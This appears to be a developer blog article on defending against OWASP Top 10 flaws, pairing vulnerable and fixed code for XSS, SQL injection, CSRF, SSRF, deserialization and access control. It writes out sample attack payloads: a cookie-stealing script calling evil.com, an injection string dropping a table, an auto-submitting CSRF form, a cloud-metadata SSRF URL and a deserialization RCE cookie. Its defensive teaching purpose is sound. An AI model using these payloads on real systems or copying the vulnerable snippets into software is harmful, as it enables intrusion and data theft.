#React#DevOps

Web Security: Practical Defenses for the OWASP Top 10

Without the OWASP Top 10, Web applications are easy targets. This article explains XSS, SQL injection, CSRF, SSRF, insecure deserialization, and broken access control, including how they work, how modern frameworks defend against them, and the core habits of distrusting input, escaping output, and using parameterized queries.

Key Points

  • Topic Focus: React、DevOps
  • Suitable for: indie hackers, full-stack engineers, AI application developers
  • Core value: quickly understand background, practical paths, common pitfalls, and engineering advice
Author @admin·Published July 26, 2026·Updated July 26, 2026

I once inherited an old project with a user comment feature. The code was simple: the frontend POSTed text, the backend used INSERT to store it in MySQL, and a template string inserted it back into HTML for display. One week after launch, someone posted <img src=x onerror=alert(document.cookie)> in a comment. As soon as an administrator opened the comment list, their cookie was sent directly to the attacker's server. That incident had one root cause: the developer treated user input as trusted data.

This happens every day, regardless of team size. Every few years, OWASP (Open Web Application Security Project) publishes its Top 10, a statistical list of the most significant security risks facing Web applications worldwide. It is not dogma; it distills a decade of incidents into the mistakes developers are most likely to make. This article explains the six vulnerability categories I encounter most often in practice and that developers are most likely to introduce while coding, with vulnerable and corrected code for each one. By the end, you will see that 90% of Web security failures do not involve advanced techniques. They come down to a few coding habits that can become second nature.

1. Web Security Is Required Knowledge for Developers, Not Just the Security Team

Many teams handle security like this: developers focus only on features, then the security team runs a scan before release and sends back anything problematic. That model was acceptable in 2010. Today, it cannot keep up.

There are three reasons. First, the attack surface of modern applications has exploded: OAuth, third-party callbacks, file uploads, and AI endpoints that feed raw user input into an LLM or shell all create new entry points. Second, secure framework defaults do not guarantee secure application code: React escapes content by default, but one use of dangerouslySetInnerHTML defeats that protection; Prisma parameterizes queries by default, but $queryRaw can bypass it. Third, security teams have limited capacity. They can only stop the subset of issues visible to external scanners. Scanners cannot detect business-logic vulnerabilities such as broken access control and race conditions.

The OWASP Top 10 is a checklist from a developer's perspective. You do not need to become a security specialist, but you should keep this checklist in mind during every code review: could this code allow injection? Does this endpoint enforce authentication? Where did this deserialized data come from? Turn these questions into instinctive reactions, and the security of your code will improve substantially.

The following six vulnerability categories are the ones I have encountered most often in real projects and can identify most readily during code review.

2. XSS (Cross-Site Scripting): Putting User Input into HTML Invites an Attack

How it works: XSS comes down to one sentence: user input is inserted directly into HTML, and the browser executes it as code.

js
// ❌ Vulnerable code: classic reflected XSS
app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Search results: ${q}</h1>`); // q is inserted directly into HTML
});
// Attacker constructs: /search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

When a user visits this URL, their cookie is stolen. Stored XSS is even worse: comments, display names, profiles, and other fields that are persisted and shown to other users will compromise every visitor if they are not escaped. That was the exact mistake in the project I inherited.

Defense requires three layers, all of which matter:

jsx
// ✅ Fix 1: React escapes by default; do not deliberately defeat it
function Comment({ text }) {
  return <p>{text}</p>; // Safe: React automatically escapes < > & " '
}

// ❌ Never write this
function BadComment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />; // Direct path to XSS
}
js
// ✅ Fix 2: If you truly need rich text, sanitize it with a DOMPurify allowlist
import DOMPurify from 'dompurify';
function RichText({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}
text
# ✅ Fix 3: Deploy Content-Security-Policy as a fallback defense
Content-Security-Policy: default-src 'self'; script-src 'self'
# Even if escaping is missed somewhere, external scripts still cannot load

Core principle: Modern frameworks such as React and Vue are secure by default. As long as you do not deliberately use dangerouslySetInnerHTML or v-html, XSS is largely blocked. Rich-text rendering must use DOMPurify, while CSP provides the final fallback.

3. SQL Injection: Concatenating SQL Hands Over Your Database

How it works: When user input is concatenated directly into a SQL string, the user can change the query's meaning.

js
// ❌ Vulnerable code: textbook SQL injection
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
  const rows = await db.query(sql);
  // Attacker enters username: admin' --
  // Actual query: SELECT * FROM users WHERE username='admin' --' AND password='...'
  // The password check is commented out entirely
});

More aggressive payloads can use UNION SELECT to extract an entire table or ; DROP TABLE users; -- to delete it outright. It sounds like a joke, but companies were still making this mistake in 2024.

Defense: Use parameterized queries. That is all it takes.

js
// ✅ Fix 1: Parameterized query (placeholders); the database driver handles escaping
const sql = `SELECT * FROM users WHERE username = ? AND password = ?`;
const rows = await db.query(sql, [username, password]);

// ✅ Fix 2: Use an ORM (Prisma / TypeORM / Sequelize), which parameterizes by default
const user = await prisma.user.findFirst({
  where: { username, password },
});

// ⚠️ Note: An ORM is not foolproof; raw SQL can still introduce injection
const bad = await prisma.$queryRaw`SELECT * FROM users WHERE name='${name}'`; // ❌ Injection
const good = await prisma.$queryRaw`SELECT * FROM users WHERE name=${name}`;  // ✅ Prisma's tagged template parameterizes automatically

Core principle: Never, ever construct SQL through string concatenation. Regardless of the language or database, parameterized queries are the only correct approach. There are no exceptions and no such thing as input being trusted this time.

How it works: When the browser requests a URL, it automatically includes cookies for the target domain. An attacker can place a form on evil.com that submits to bank.com/transfer. If your browser contains an authenticated bank.com session, the transfer succeeds because the server believes you initiated it.

html
<!-- ❌ Page placed by the attacker on evil.com -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
<!-- The user visits evil.com, the browser automatically includes the bank.com cookie, and the transfer completes -->

Defense has two layers, and using both is recommended:

js
// ✅ Fix 1: Set the Cookie's SameSite attribute (modern browsers default to Lax)
res.cookie('session', token, {
  httpOnly: true,      // JavaScript cannot read it, preventing XSS from stealing the cookie
  secure: true,        // HTTPS only
  sameSite: 'Lax',     // Cross-site requests omit the cookie, neutralizing CSRF
});

// ✅ Fix 2: Require CSRF Token validation on state-changing endpoints
// The frontend reads XSRF-TOKEN from a cookie and places it in the X-XSRF-TOKEN request header
// The server compares the cookie and header values (the attacker cannot read a same-origin cookie)
app.post('/transfer', csrfProtection, handler);

Core principle: SameSite=Lax addresses the vast majority of CSRF scenarios. In 2026, this is the default starting point, not an optional optimization. For highly sensitive operations such as payments and transfers, add a CSRF Token as a second layer.

5. SSRF (Server-Side Request Forgery): Making the Server Attack Its Own Network

How it works: A server offers a feature that fetches a URL on the user's behalf, such as an image proxy, webhook callback, or URL preview. The attacker replaces the URL with an internal address, causing the server to access the internal network for them, where services often have no authentication.

js
// ❌ Vulnerable code: URL preview feature
app.get('/preview', async (req, res) => {
  const url = req.query.url;
  const resp = await fetch(url); // Fetch whatever the user supplies
  const html = await resp.text();
  res.send(html);
});
// Attacker constructs: /preview?url=http://169.254.169.254/latest/meta-data/
// On AWS, this can directly expose the instance's IAM credentials, enabling lateral movement across the entire cloud account

169.254.169.254 is a cloud provider metadata-service address used by AWS, GCP, and Azure. Alibaba Cloud uses 100.100.100.200. If SSRF can reach this address, the entire cloud account is often effectively compromised. This has been one of the most devastating categories of data breaches in recent years.

Defense: Use an outbound request allowlist and block internal addresses.

js
// ✅ Fix: outbound allowlist + block addresses that resolve to internal networks
import { lookup } from 'node:dns/promises';

async function safeFetch(urlStr) {
  const u = new URL(urlStr);
  // 1. Protocol allowlist: permit only http/https
  if (!['http:', 'https:'].includes(u.protocol)) throw new Error('bad scheme');
  // 2. Hostname allowlist (business-specific): permit only trusted external domains
  if (!ALLOWED_HOSTS.includes(u.hostname)) throw new Error('host not allowed');
  // 3. Resolve DNS and inspect the IP; reject private, loopback, and metadata addresses
  const { address } = await lookup(u.hostname);
  if (isPrivateIP(address)) throw new Error('internal IP blocked');
  return fetch(u);
}

function isPrivateIP(ip) {
  return ip.startsWith('10.') || ip.startsWith('192.168.') ||
         ip.startsWith('169.254.') || ip.startsWith('127.') ||
         /^172\.(1[6-9]|2\d|3[01])\./.test(ip) || ip === '100.100.100.200';
}

Core principle: Any endpoint that sends server-side requests on a user's behalf must treat SSRF as its primary risk. String filtering alone, especially a blocklist, is insufficient. Resolve DNS first and inspect the actual IP, or an attacker can bypass the check by making their own DNS name resolve to an internal address.

6. Insecure Deserialization: Reviving Untrusted Data as Objects

How it works: Java's ObjectInputStream.readObject, Python's pickle.loads, Node's serialize.unserialize, and PHP's unserialize restore byte streams as objects and may invoke constructors or magic methods in the process. An attacker can craft a special byte stream that executes arbitrary code during deserialization.

js
// ❌ Vulnerable code: Node's node-serialize library
const serialize = require('node-serialize');
const obj = serialize.unserialize(req.cookies.session);
// Attacker inserts into the cookie: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('...')}()"}
// The function is invoked immediately during deserialization, achieving RCE

This type of vulnerability is easy to exploit and has maximum impact (RCE). It often appears because a developer serialized an object into a cookie or cache for convenience without realizing they had created a serious risk.

Defense comes down to one sentence:

js
// ✅ Fix: never deserialize untrusted data
// - Use JSON.parse / JSON.stringify; JSON does not support functions and is inherently safe here
const session = JSON.parse(req.cookies.session);

// - In Java, use data-only deserialization libraries such as Jackson / Gson instead of native ObjectInputStream
// - In Python, never use pickle for user input; use json instead
// - If structured data must be transmitted, use signatures + JSON

Core principle: Any code that passes external data to unserialize, pickle.loads, or readObject is high-risk. Modern applications have almost no reason to use a language's native binary deserialization for user input. JSON is sufficient.

7. Broken Access Control: Your APIs May Be Callable by Anyone

How it works: Broken access control has two forms. Horizontal privilege escalation occurs when user A changes an ID in a URL to access user B's data. Vertical privilege escalation occurs when an ordinary user invokes an administrator-only endpoint.

js
// ❌ Vulnerable code: classic horizontal privilege escalation
app.get('/api/orders/:id', authMiddleware, async (req, res) => {
  const order = await prisma.order.findUnique({ where: { id: req.params.id } });
  res.json(order); // Never verifies that this order belongs to the current user!
});
// After user A logs in, /api/orders/<B's-order-ID> directly returns user B's order

Scanners cannot detect this vulnerability because the request itself is valid and authentication succeeds. What is missing is ownership validation. This is the source of incidents where users view someone else's shopping cart or change someone else's delivery address.

Defense: Whenever a resource is accessed or modified, verify the current user's ownership of that resource.

js
// ✅ Fix 1: Include the userId condition directly in the query
app.get('/api/orders/:id', authMiddleware, async (req, res) => {
  const order = await prisma.order.findFirst({
    where: { id: req.params.id, userId: req.user.id }, // Key point: AND userId
  });
  if (!order) return res.status(404).end();
  res.json(order);
});

// ✅ Fix 2: Validate roles/permissions through shared middleware (vertical privilege escalation)
app.delete('/api/users/:id', requireRole('admin'), handler);

Core principle: Authentication (is this a logged-in user?) is not authorization (may this user modify this resource?). For every endpoint involving a specific resource, ask whether the user owns that data. Make this step second nature in code: findFirst({ where: { id, userId } }) is always safer than findUnique({ where: { id } }).

8. General Principles: Make Security a Coding Habit

Behind these six vulnerability categories are several general principles worth memorizing:

  1. Input is untrusted: User input, third-party callbacks, file contents, and URL parameters must all be treated as hostile whenever they cross a trust boundary. Validate type, length, and format, and use allowlists instead of blocklists.
  2. Output must be escaped: Where data comes from determines whether it can safely enter HTML, SQL, a shell, or a command line. Before data enters an interpreter, it must be escaped according to that interpreter's rules.
  3. Least privilege: Give database accounts only the permissions required by the application; never run an application as root. Deny server-side outbound access by default, and grant tokens only the necessary scope.
  4. Secure by default: Cookies should default to httpOnly + secure + sameSite, CORS should deny credentials by default, and frameworks should parameterize queries by default. Make security the default behavior instead of applying patches afterward.
  5. Defense in depth: Escaping + CSP, parameterization + least-privilege database accounts, SameSite + CSRF Token. Any single defense can fail, so protect important assets with two layers.

These principles do not depend on a particular framework or language version. They will remain useful throughout your career.

Summary

  • Web security is a developer's responsibility, not the exclusive domain of the security team. The OWASP Top 10 is a developer-oriented checklist that should be present in every code review.
  • Prevent XSS through output escaping: React is secure by default. Avoid dangerouslySetInnerHTML, use DOMPurify for rich text, and use CSP as a fallback.
  • Prevent SQL injection through parameterized queries: Never concatenate strings. Use placeholders or an ORM, and parameterize any raw SQL you write.
  • Prevent CSRF with SameSite cookies + CSRF Token: Modern applications should default to SameSite=Lax and add a Token for highly sensitive endpoints.
  • Prevent SSRF with outbound allowlists + internal-network filtering: Cloud metadata addresses must be blocked, and DNS must be resolved before evaluating the IP.
  • Prevent deserialization attacks by leaving untrusted data alone: Use JSON and avoid native binary deserialization.
  • Prevent broken access control by validating ownership every time: Authentication answers whether someone is a user; authorization answers whether they may modify a resource. They are separate concerns.

The key rule: input is untrusted, output must be escaped, and queries must be parameterized. Make these three rules second nature, and 90% of Web vulnerabilities will no longer be your problem.

Related

Related Content